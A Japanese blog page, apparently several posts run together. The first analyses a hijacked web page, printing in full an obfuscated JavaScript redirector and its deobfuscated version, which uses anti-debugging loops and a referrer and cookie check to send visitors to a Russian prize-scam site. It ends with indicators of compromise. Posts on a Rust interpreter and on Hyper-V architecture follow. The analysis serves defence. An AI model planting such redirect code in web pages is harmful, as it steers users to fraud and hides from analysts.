<p>XXXX</p> <a href="http://brokerportal.extraenergy.com/nulizumax66573.html">次の</a> </div> </body> </html>
問題は、bodyにいきなり現れる <script src="http://tr.stoneshards.ru/trd" type="text/javascript"></script>
ですね。
これが詐欺ページへと誘うJSファイルです。
謎のJSファイル
ダウンロードしてみるとゴリゴリに難読化されていました。
var _0x2bd6=['while\x20(true)\x20{}',';\x20domain=','title','gger','warn','bind','\x20|\x20','stateObject','referrer','searchers','\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)','error','return\x20/\x22\x20+\x20this\x20+\x20\x22/','constructor',';\x20expires=','length','(?:;\x20)?','href','opos','input','prototype','__proto__','cookie','debu','log','toGMTString','counter','split','return\x20(function()\x20','^([^\x20]+(\x20+[^\x20]+)+)+[^\x20]}','https://td.14-8000.ru/trds','console','test','sp_redirect','info','toString','chain','exception','trace','table','apply','com2','call','init',';\x20path=','string',';\x20secure','location'];(function(_0x4f8aab,_0x2bd6bd){var _0x533ff7=function(_0x20520a){while(--_0x20520a){_0x4f8aab['push'](_0x4f8aab['shift']());}},_0x3e47dd=function(){var _0x9f327={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x451275,_0x24e4a7,_0x10846a,_0x331757){_0x331757=_0x331757||{};var _0x2a7fe3=_0x24e4a7+'='+_0x10846a,_0xa1a7e5=0x0;for(var _0x3a20b0=0x0,_0x48658e=_0x451275['length'];_0x3a20b0<_0x48658e;_0x3a20b0++){var _0x1595bd=_0x451275[_0x3a20b0];_0x2a7fe3+=';\x20'+_0x1595bd;var _0x572efc=_0x451275[_0x1595bd];_0x451275['push'](_0x572efc),_0x48658e=_0x451275['length'],_0x572efc!==!![]&&(_0x2a7fe3+='='+_0x572efc);}_0x331757['cookie']=_0x2a7fe3;},'removeCookie':function(){return'dev';},'getCookie':function(_0x106069,_0x97b9b6){_0x106069=_0x106069||function(_0x3a8690){return _0x3a8690;};var _0x215e2b=_0x106069(new RegExp('(?:^|;\x20)'+_0x97b9b6['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)')),_0x5a4edb=function(_0x118eb1,_0x169150){_0x118eb1(++_0x169150);};return _0x5a4edb(_0x533ff7,_0x2bd6bd),_0x215e2b?decodeURIComponent(_0x215e2b[0x1]):undefined;}},_0x7d7da3=function(){var _0x41712b=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x41712b['test'](_0x9f327['removeCookie']['toString']());};_0x9f327['updateCookie']=_0x7d7da3;var _0x3c7abf='';var _0x55b47e=_0x9f327['updateCookie']();if(!_0x55b47e)_0x9f327['setCookie'](['*'],'counter',0x1);else _0x55b47e?_0x3c7abf=_0x9f327['getCookie'](null,'counter'):_0x9f327['removeCookie']();};_0x3e47dd();}(_0x2bd6,0xbb));var _0x533f=function(_0x4f8aab,_0x2bd6bd){_0x4f8aab=_0x4f8aab-0x0;var _0x533ff7=_0x2bd6[_0x4f8aab];return _0x533ff7;};var _0x1a9a42=_0x533f,_0xa1a7e5=function(){var _0x215e2b=!![];return function(_0x5a4edb,_0x3a8690){var _0x118eb1=_0x215e2b?function(){if(_0x3a8690){var _0x169150=_0x3a8690['apply'](_0x5a4edb,arguments);return _0x3a8690=null,_0x169150;}}:function(){};return _0x215e2b=![],_0x118eb1;};}(),_0x3a20b0=_0xa1a7e5(this,function(){var _0x41712b=function(){var _0x46c781=_0x533f,_0x15cce8=_0x41712b[_0x46c781('0x12')](_0x46c781('0x11'))()[_0x46c781('0x12')](_0x46c781('0x22'));return!_0x15cce8[_0x46c781('0x25')](_0x3a20b0);};return _0x41712b();});_0x3a20b0();var _0x48658e=function(){var _0x3ad38d=!![];return function(_0x5204af,_0x23ef45){var _0x417eae=_0x3ad38d?function(){var _0x134c07=_0x533f;if(_0x23ef45){var _0x2feac4=_0x23ef45[_0x134c07('0x2d')](_0x5204af,arguments);return _0x23ef45=null,_0x2feac4;}}:function(){};return _0x3ad38d=![],_0x417eae;};}();(function(){_0x48658e(this,function(){var _0x4d943f=_0x533f,_0x3d8160=new RegExp('function\x20*\x5c(\x20*\x5c)'),_0x2e2cd9=new RegExp(_0x4d943f('0xf'),'i'),_0x54e22d=_0x97b9b6(_0x4d943f('0x0'));!_0x3d8160[_0x4d943f('0x25')](_0x54e22d+_0x4d943f('0x29'))||!_0x2e2cd9[_0x4d943f('0x25')](_0x54e22d+_0x4d943f('0x18'))?_0x54e22d('0'):_0x97b9b6();})();}());var _0x1595bd=function(){var _0x583c9d=!![];return function(_0x200841,_0x35abba){var _0x2c7e75=_0x583c9d?function(){var _0x141d51=_0x533f;if(_0x35abba){var _0x3b3e39=_0x35abba[_0x141d51('0x2d')](_0x200841,arguments);return _0x35abba=null,_0x3b3e39;}}:function(){};return _0x583c9d=![],_0x2c7e75;};}(),_0x572efc=_0x1595bd(this,function(){var _0x1a126a=_0x533f,_0x3172f1;try{var _0x23762c=Function(_0x1a126a('0x21')+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x3172f1=_0x23762c();}catch(_0x564021){_0x3172f1=window;}var _0x52dac9=_0x3172f1[_0x1a126a('0x24')]=_0x3172f1[_0x1a126a('0x24')]||{},_0x3b4f75=[_0x1a126a('0x1d'),_0x1a126a('0x9'),_0x1a126a('0x27'),_0x1a126a('0x10'),_0x1a126a('0x2a'),_0x1a126a('0x2c'),_0x1a126a('0x2b')];for(var _0xd54340=0x0;_0xd54340<_0x3b4f75[_0x1a126a('0x14')];_0xd54340++){var _0x26af81=_0x1595bd[_0x1a126a('0x12')][_0x1a126a('0x19')][_0x1a126a('0xa')](_0x1595bd),_0x206cec=_0x3b4f75[_0xd54340],_0x543e51=_0x52dac9[_0x206cec]||_0x26af81;_0x26af81[_0x1a126a('0x1a')]=_0x1595bd[_0x1a126a('0xa')](_0x1595bd),_0x26af81[_0x1a126a('0x28')]=_0x543e51[_0x1a126a('0x28')][_0x1a126a('0xa')](_0x543e51),_0x52dac9[_0x206cec]=_0x26af81;}});_0x572efc();class _0x106069{static['com2'](){var _0x40f03c=_0x533f,_0x1c6a09=document[_0x40f03c('0x7')][_0x40f03c('0x20')]('\x20-\x20'),_0x3fdf81=_0x1c6a09[0x0][_0x40f03c('0x20')](_0x40f03c('0xb'));function _0x405c95(_0x2029e2,_0x540834,_0x3dccd5,_0x89ce19,_0x631308,_0x449b7d){var _0x3bb735=_0x40f03c;if(!_0x2029e2||!_0x540834)return![];var _0x3f2886=_0x2029e2+'='+encodeURIComponent(_0x540834);if(_0x3dccd5)_0x3f2886+=_0x3bb735('0x13')+_0x3dccd5[_0x3bb735('0x1e')]();if(_0x89ce19)_0x3f2886+=_0x3bb735('0x1')+_0x89ce19;if(_0x631308)_0x3f2886+=_0x3bb735('0x6')+_0x631308;if(_0x449b7d)_0x3f2886+=_0x3bb735('0x3');return document['cookie']=_0x3f2886,!![];}function _0x9a3d3a(_0x154333){var _0x45158d=_0x40f03c,_0x45a09c=_0x45158d('0x15')+_0x154333+'=([^;]*);?',_0x5b19fb=new RegExp(_0x45a09c);if(_0x5b19fb[_0x45158d('0x25')](document[_0x45158d('0x1b')]))return decodeURIComponent(RegExp['$1']);return![];}function _0x522d70(_0xa94789,_0x216601,_0x5dac6c){return _0x405c95(_0xa94789,null,new Date(0x0),_0x216601,_0x5dac6c),!![];}var _0x27c7bf={};_0x27c7bf[_0x40f03c('0xe')]=[[/google\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/search\.yahoo\./i,/(\?|&)p=(.*?)(&|$)/i,0x2],[/bing\.com/i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/search\.aol\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/ask\.com/i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/altavista\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/search\.lycos\./i,/(\?|&)query=(.*?)(&|$)/i,0x2],[/alltheweb\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/yandex\./i,/(\?|&)text=(.*?)(&|$)/i,0x2],[/(nova\.|search\.)?rambler\./i,/(\?|&)query=(.*?)(&|$)/i,0x2],[/gogo\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/go\.mail\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/nigma\./i,/(\?|&)s=(.*?)(&|$)/i,0x2]],_0x27c7bf[_0x40f03c('0x26')]=function(_0x1455a3){var _0x487237=_0x40f03c,_0x4fb038=null;for(var _0xb7599e=0x0;_0xb7599e<_0x27c7bf[_0x487237('0xe')][_0x487237('0x14')];_0xb7599e++){var _0x24d47b=_0x27c7bf[_0x487237('0xe')][_0xb7599e];if(_0x1455a3['match'](_0x24d47b[0x0])||_0x9a3d3a('opos')=='1'){_0x405c95(_0x487237('0x17'),'1'),document[_0x487237('0x4')][_0x487237('0x16')]=_0x487237('0x23');break;}}},_0x27c7bf[_0x40f03c('0x26')](document[_0x40f03c('0xd')]);}}_0x106069[_0x1a9a42('0x2e')]();function _0x97b9b6(_0x40f01a){function _0x3b6238(_0x2cc325){var _0xa56e17=_0x533f;if(typeof _0x2cc325===_0xa56e17('0x2'))return function(_0x2626d7){}['constructor'](_0xa56e17('0x5'))[_0xa56e17('0x2d')](_0xa56e17('0x1f'));else(''+_0x2cc325/_0x2cc325)[_0xa56e17('0x14')]!==0x1||_0x2cc325%0x14===0x0?function(){return!![];}[_0xa56e17('0x12')](_0xa56e17('0x1c')+_0xa56e17('0x8'))[_0xa56e17('0x2f')]('action'):function(){return![];}[_0xa56e17('0x12')](_0xa56e17('0x1c')+_0xa56e17('0x8'))[_0xa56e17('0x2d')](_0xa56e17('0xc'));_0x3b6238(++_0x2cc325);}try{if(_0x40f01a)return _0x3b6238;else _0x3b6238(0x0);}catch(_0x1b90ec){}}
これでは流石に読めないので、難読化をちょっと解除してみた。
'use strict'; var _createClass = function () { function defineProperties(target, props) { var i = 0; for (; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) { descriptor.writable = true; } Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) { defineProperties(Constructor.prototype, protoProps); } if (staticProps) { defineProperties(Constructor, staticProps); } return Constructor; }; }(); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } var _0x2bd6 = ["while (true) {}", "; domain=", "title", "gger", "warn", "bind", " | ", "stateObject", "referrer", "searchers", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "error", 'return /" + this + "/', "constructor", "; expires=", "length", "(?:; )?", "href", "opos", "input", "prototype", "__proto__", "cookie", "debu", "log", "toGMTString", "counter", "split", "return (function() ", "^([^ ]+( +[^ ]+)+)+[^ ]}", "https://td.14-8000.ru/trds", "console", "test", "sp_redirect", "info", "toString", "chain", "exception", "trace", "table", "apply", "com2", "call", "init", "; path=", "string", "; secure", "location"]; (function (data, opts) { var uri = function fn(selected_image) { for (; --selected_image;) { data["push"](data["shift"]()); } }; var gotoNewOfflinePage = function next() { var Cookies = { "data": { "key": "cookie", "value": "timeout" }, "setCookie": function render(list, text, value, header) { header = header || {}; var cookie = text + "=" + value; var _0xa1a7e5 = 0; var i = 0; var key = list["length"]; for (; i < key; i++) { var domain = list[i]; cookie = cookie + ("; " + domain); var value = list[domain]; list["push"](value); key = list["length"]; if (value !== !![]) { cookie = cookie + ("=" + value); } } header["cookie"] = cookie; }, "removeCookie": function done() { return "dev"; }, "getCookie": function get(match, data) { match = match || function (letter) { return letter; }; var v = match(new RegExp("(?:^|; )" + data["replace"](/([.$?*|{}()[]\/+^])/g, "$1") + "=([^;]*)")); var trim = function direct(subquest, maxRedirects) { subquest(++maxRedirects); }; return trim(uri, opts), v ? decodeURIComponent(v[1]) : undefined; } }; var updatedReverseItemControlData = function get() { var test = new RegExp("\\w+ *\\(\\) *{\\w+ *['|\"].+['|\"];? *}"); return test["test"](Cookies["removeCookie"]["toString"]()); }; Cookies["updateCookie"] = updatedReverseItemControlData; var array = ""; var _0x55b47e = Cookies["updateCookie"](); if (!_0x55b47e) { Cookies["setCookie"](["*"], "counter", 1); } else { if (_0x55b47e) { array = Cookies["getCookie"](null, "counter"); } else { Cookies["removeCookie"](); } } }; gotoNewOfflinePage(); })(_0x2bd6, 187); var _0x533f = function PocketDropEvent(ballNumber, opt_target) { ballNumber = ballNumber - 0; var ball = _0x2bd6[ballNumber]; return ball; }; var _0x1a9a42 = _0x533f; var _0xa1a7e5 = function () { var y$$ = !![]; return function (scope, f) { var voronoi = y$$ ? function () { if (f) { var returnVal = f["apply"](scope, arguments); return f = null, returnVal; } } : function () { }; return y$$ = ![], voronoi; }; }(); var _0x3a20b0 = _0xa1a7e5(undefined, function () { var gotoNewOfflinePage = function config() { var B713 = config["constructor"]("return /" + this + "/")()["constructor"]("^([^ ]+( +[^ ]+)+)+[^ ]}"); return !B713["test"](_0x3a20b0); }; return gotoNewOfflinePage(); }); _0x3a20b0(); var _0x48658e = function () { var y$$ = !![]; return function (scope, f) { var voronoi = y$$ ? function () { if (f) { var returnVal = f["apply"](scope, arguments); return f = null, returnVal; } } : function () { }; return y$$ = ![], voronoi; }; }(); (function () { _0x48658e(this, function () { var par = new RegExp("function *\\( *\\)"); var test = new RegExp("++ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "i"); var result = _0x97b9b6("init"); if (!par["test"](result + "chain") || !test["test"](result + "input")) { result("0"); } else { _0x97b9b6(); } })(); })(); var _0x1595bd = function () { var y$$ = !![]; return function (scope, f) { var voronoi = y$$ ? function () { if (f) { var returnVal = f["apply"](scope, arguments); return f = null, returnVal; } } : function () { }; return y$$ = ![], voronoi; }; }(); var _0x572efc = _0x1595bd(undefined, function () { var global; try { var evaluate = Function("return (function() " + '{}.constructor("return this")( )' + ");"); global = evaluate(); } catch (_0x564021) { global = window; } var db = global["console"] = global["console"] || {}; var methods = ["log", "warn", "info", "error", "exception", "table", "trace"]; var i = 0; for (; i < methods["length"]; i++) { var data = _0x1595bd["constructor"]["constructor"]["bind"](_0x1595bd); var name = methods[i]; var value = db[name] || data; data["__proto__"] = _0x1595bd["bind"](_0x1595bd); data["toString"] = value["toString"]["bind"](value); db[name] = data; } }); _0x572efc(); var _0x106069 = function () { function SearchWorkerLoader() { _classCallCheck(this, SearchWorkerLoader); } _createClass(SearchWorkerLoader, null, [{ key: "com2", value: function header() { function notify(name, file, timeout, type, stack, tag) { if (!name || !file) { return ![]; } var msg = name + "=" + encodeURIComponent(file); if (timeout) { msg = msg + ("; expires=" + timeout["toGMTString"]()); } if (type) { msg = msg + ("; path=" + type); } if (stack) { msg = msg + ("; domain=" + stack); } if (tag) { msg = msg + "; secure"; } return document["cookie"] = msg, !![]; } function validate(key) { var word = "(?:; )?" + key + "=([^;]*);?"; var test = new RegExp(word); if (test["test"](document["cookie"])) { return decodeURIComponent(RegExp["$1"]); } return ![]; } var names = {}; names["searchers"] = [[/google\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.yahoo\./i, /(\?|&)p=(.*?)(&|$)/i, 2], [/bing\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.aol\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/ask\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/altavista\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.lycos\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/alltheweb\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/yandex\./i, /(\?|&)text=(.*?)(&|$)/i, 2], [/(nova\.|search\.)?rambler\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/gogo\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/go\.mail\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/nigma\./i, /(\?|&)s=(.*?)(&|$)/i, 2]]; names["sp_redirect"] = function (mAttributes) { var i = 0; for (; i < names["searchers"]["length"]; i++) { var allow = names["searchers"][i]; if (mAttributes["match"](allow[0]) || validate("opos") == "1") { notify("opos", "1"); document["location"]["href"] = "https://td.14-8000.ru/trds"; break; } } }; names["sp_redirect"](document["referrer"]); } }]); return SearchWorkerLoader; }(); _0x106069["com2"](); function _0x97b9b6(event) { function next(i) { if (typeof i === "string") { return function (canCreateDiscussions) { }["constructor"]("while (true) { }")["apply"]("counter"); } else { if (("" + i / i)["length"] !== 1 || i % 20 === 0) { (function () { return !![]; })["constructor"](";;;;" + ";;;;")["call"]("action"); } else { (function () { return ![]; })["constructor"](";;;;" + ";;;;")["apply"]("stateObject"); } } next(++i); } try { if (event) { return next; } else { next(0); } } catch (_0x1b90ec) { } } ;
このファイルはDebug検知で解析を妨害する。
難読化解除のときは動的解析するとかなりわかりやすくなるのでまずはそれを解除した。
と言っても全然わからなかったので、適当にあたりをつけた。
どうやらdebu
と gger
が配列 _0x2bd6
のなかに入っていて、その文字列が結合されて実行されることがわかった。(debugger
命令ですね)
それを ;;;;;;;;
に書き換え回避。動的解析環境が整った。
このJSファイルの基本的な難読化手法は以下の通りである。
- 無駄な変数定義
- 無駄な関数定義
- 無名関数化してスコープを縮める
- わかりにくい記法への変換
- 関数や変数名がランダム化
- 配列
_0x2bd6
を起点とする文字列結合を使用しコードを複雑に
ひとまず6個目をconsoleにせっせと打ち込み解除。 ほかは頑張ってコードを読んでやった。 頑張って難読化を解除しつつ読みすすめると大まかに以下のような動作を行うJSとわかった。
クッキー
opos
の値が1であるか、指定された検索エンジンからのアクセスである場合、https://td.14-8000[.]ru/trds
へとリダイレクトする。
クッキーとリファラ確認はおそらく解析者対策だろう。
リダイレクト先
次に、リダイレクト先https://td.14-8000[.]ru/trds
を確認。
先ほどと打って変わって、なんて単純なんだ……
詐欺ページへGO!
<!doctype html> <html> <head> <script>function onload() {window.location.href='https://prize.wolcens.ru/?u=dmzpte4&o=v4l84xw&cid=trds|'}</script> </head> <body onload='onload()'></body> </html>
詐欺ページ
い つ も の
ちなみにhttps://prize.wolcens[.]ru/はCloudFlareで守られているそうな(このワタクシからCS:GOのナイフを奪い取ったフィリピンNO1野郎もそういえばCloudFlareで守られていたな)
とりあえず詐欺ページのドメインのレジストラにabuse reportしておきました。
おわりに
今回は非常につまらないWEBサイトを調査しました。
運良く見つけたらマルバタイジングされたサイトとかやるかも。
IOCs
- http://brokerportal.extraenergy[.]com/falujaw70167.html
- https://prize.wolcens[.]ru/
- https://pluralbreakpractice7[.]live/
参考
Writing An Interpreter In GoをRustでやった
おひさしぶりです、morimolymolyです。
Writing An Interpreter In GoをRustでやりました。
github.com
もともとはRustのチュートリアルであるところのTRPLをこなしたあとに、そこそこ量のあるコードを書きたくなったのでなにか探していたところ、インタプリタを書いてみるのも悪くないなあと思って書いてみました。
doc.rust-lang.org
最初は、Rustというか関数型言語っぽいやりかたがみにつかず、Anyトレイト連発❗みたいなクソコードを量産しましたが、時期にやり方を覚えいい感じにこーどがかけるようになりました。
ちなみにGolangの実装のままにAnyトレイト連発のクソコードは以下のブランチからみることができます。
github.com
Pratt Parserを書く部分とかも楽しかったし、おまけのマクロの実装も楽しかった。
コードを書いていくと次第に理解が深まり、本を読まずとも、機能の追加方法が思いつく瞬間があり、とても気持ちのいい体験でした。
これからは続きのWriting a Compilier in GoをRustでやってみようかなあ、と思っています。
まだrmonkeyも汚いコードを残しているので整理はしたいと思っていますが……。
なんせ休学して暇な身なのでメンタルさえ安定していれば無限にコードが書けるのでね。
今、いろいろと面白いことを考えてやっている最中なので、時期にコンパイラやインタプリタ以外のおもしろいこともここで発表できたらいいなあと思っています。
まずはメンタルを安定させてお休みするところから始めていきます。
それでは短いですが、次回の機会で。
ゼロから始めるHyper-Vのアーキテクチャ
はじめに
こんにちは,morimolymolyです.
皆さん,Hyper-Vの脆弱性報酬プログラムはごぞんじですか?
https://www.microsoft.com/en-us/msrc/bounty-hyper-v
なんとHyper-VのRCE(Remote Code Execution)を発見するだけで$250,000も貰えてしまうのです!!
最近では360 Core Securityの研究者がVMEscapeの脆弱性をみつけて$200,000をゲットしています.
Zhenhao Hong @rthhh17 from 360 IceSword Lab was rewarded $200,000 by Microsoft #Hyper-V for his VM escape #vulnerability – one of the highest MSRC bounties ever @msftsecresponse We will release details after the patch. Congrats to @rthhh17 and @pjf40490912 (Weibo: @rt_hhh, @PJF_) pic.twitter.com/1ilNgIrW7K
— 360 Threat Intelligence Center (@360CoreSec) 2019年1月3日
$250,000も貰えたら働かずに毎日ごろごろしていても数年は余裕で持ちますね.
というわけでHyper-Vの脆弱性を発見する前に,これのアーキテクチャを学ぼうというわけです.
Hypervisor概要
ハイパーバイザにはType-1(Baremetal)とType-2(Host)の2種類あります.
Type-1はハイパーバイザがハードウェア上で直接動作します.
例: Xen,KVM,BitVisor,Bareflank
Type-2はホストOS上のプロセスとして動作するハイパーバイザです.
例: VirtualBox,VMWare,QEMU,Bochs
Hyper-VはType-1ハイパーバイザにあたります.
Hyper-Vのアーキテクチャ概要
上図がHyper-Vのアーキテクチャです.
Hyper-VはAttack Surfaceをなるべくへらすために,コード量を最小限にするという設計理念があります.
そのためデバイス仮想化などの機能はHyper-Vには実装していません.
Hyper-VがインストールされたホストOSがデバイス仮想化などのあらゆるサービスを担当します.
そのおかげでHyper-VはホストOSに実装されているデバイスドライバをそのまま利用できます.
Hyper-VにはPartitionという単位でVMが存在します.
Hyper-VがインストールされたホストOSをRoot Partitionと呼び,これは仮想マシンの管理,ゲストのメモリの操作,デバイスエミュレーションサービスの提供,実デバイス操作を行います.
XenでいうとDom0(特権ドメイン)です.
ゲストマシンはPartitionと呼びます.
ゲストマシンは別のPartitionの物理メモリにアクセスできませんし,ハードウェアの直接アクセスができません.
すべてはRoot Partitionと通信してデバイスの操作などを行ってもらいます.
またこの通信は厳格に定義されたインターフェースを通じてのみ行なえます.
このアーキテクチャから分かる通り,セキュリティ野郎が注目するべきはRoot Partitionです.
詳しくは以下の記事を参照.
docs.microsoft.com
Hyper-Vのメモリ
Hyper-Vのメモリは以下のように定義されます.
- PA(Physical Address) 物理メモリ空間
- SPA(System Physical Address) RootPartitionの物理メモリ空間
- SVA(System Virtual Address) RootPartitionの仮想メモリ空間
- GPA(Guest Physical Address) ゲストの物理メモリ空間
- GVA(Guest Virtual Address) ゲストの仮想メモリ空間
SPA,SVAは他のハイパーバイザだとHPA(Host Physical Address),HVA(Host Virtual Address)と呼ばれることが多い気がします*1.
Root Partitionの役割
上図はRoot Partitionで提供されるサービスの例です.
以下に用語を説明します.
- VDEV(Virtual Device) Rootのユーザ空間で動くエミュレートまたは準仮想化されたデバイス
- VSP(Virtualization Service Provider) Rootのカーネル空間でVDEVと協調して動く準仮想化されたデバイス.
- IC(Integration Component) ゲストがアクセスできるRootのユーザ空間で動くコンポーネント
また次のようなサービスが提供されています.
このようにRootPartitionのユーザ空間でホストされるサービスもあれば,RootPartitionのカーネル空間でホストされるサービスもあります.
ゲストのデバイス操作の流れ
上図はゲストがデバイスを操作するときの概要図です.
流れは以下のとおりです.
- ゲスト内のVSC(Virtualization Service Client)がvmbusを通じてRoot Partition内のVSPに操作を依頼
- VSPがホストOSのデバイスドライバに操作を依頼
- デバイスドライバがデバイスを操作
でばストレージ操作のVSPをみてみましょう.
ユーザ空間のVSPも見てみましょう.
VMWPとはVirtual Machine Worker Processの略で仮想マシンごとに用意されるVSPを提供するためのユーザ空間のプロセスです.
この例ではユーザ空間にSMBのサービスであるVSMBを動作させています.
Hyper-VのLinuxでの実装
当然このような仮想化支援技術はゲストカーネルに実装されていなければなりません.
Linuxでは以下のようなディレクトリにコードがあるようです.
実際にヘッダファイルを眺めてみるとなかなか面白いです.
github.com
予告
次回はHyper-Vのリバースエンジニアリング環境を構築します.
また既知の脆弱性についても解説したいと思います*2.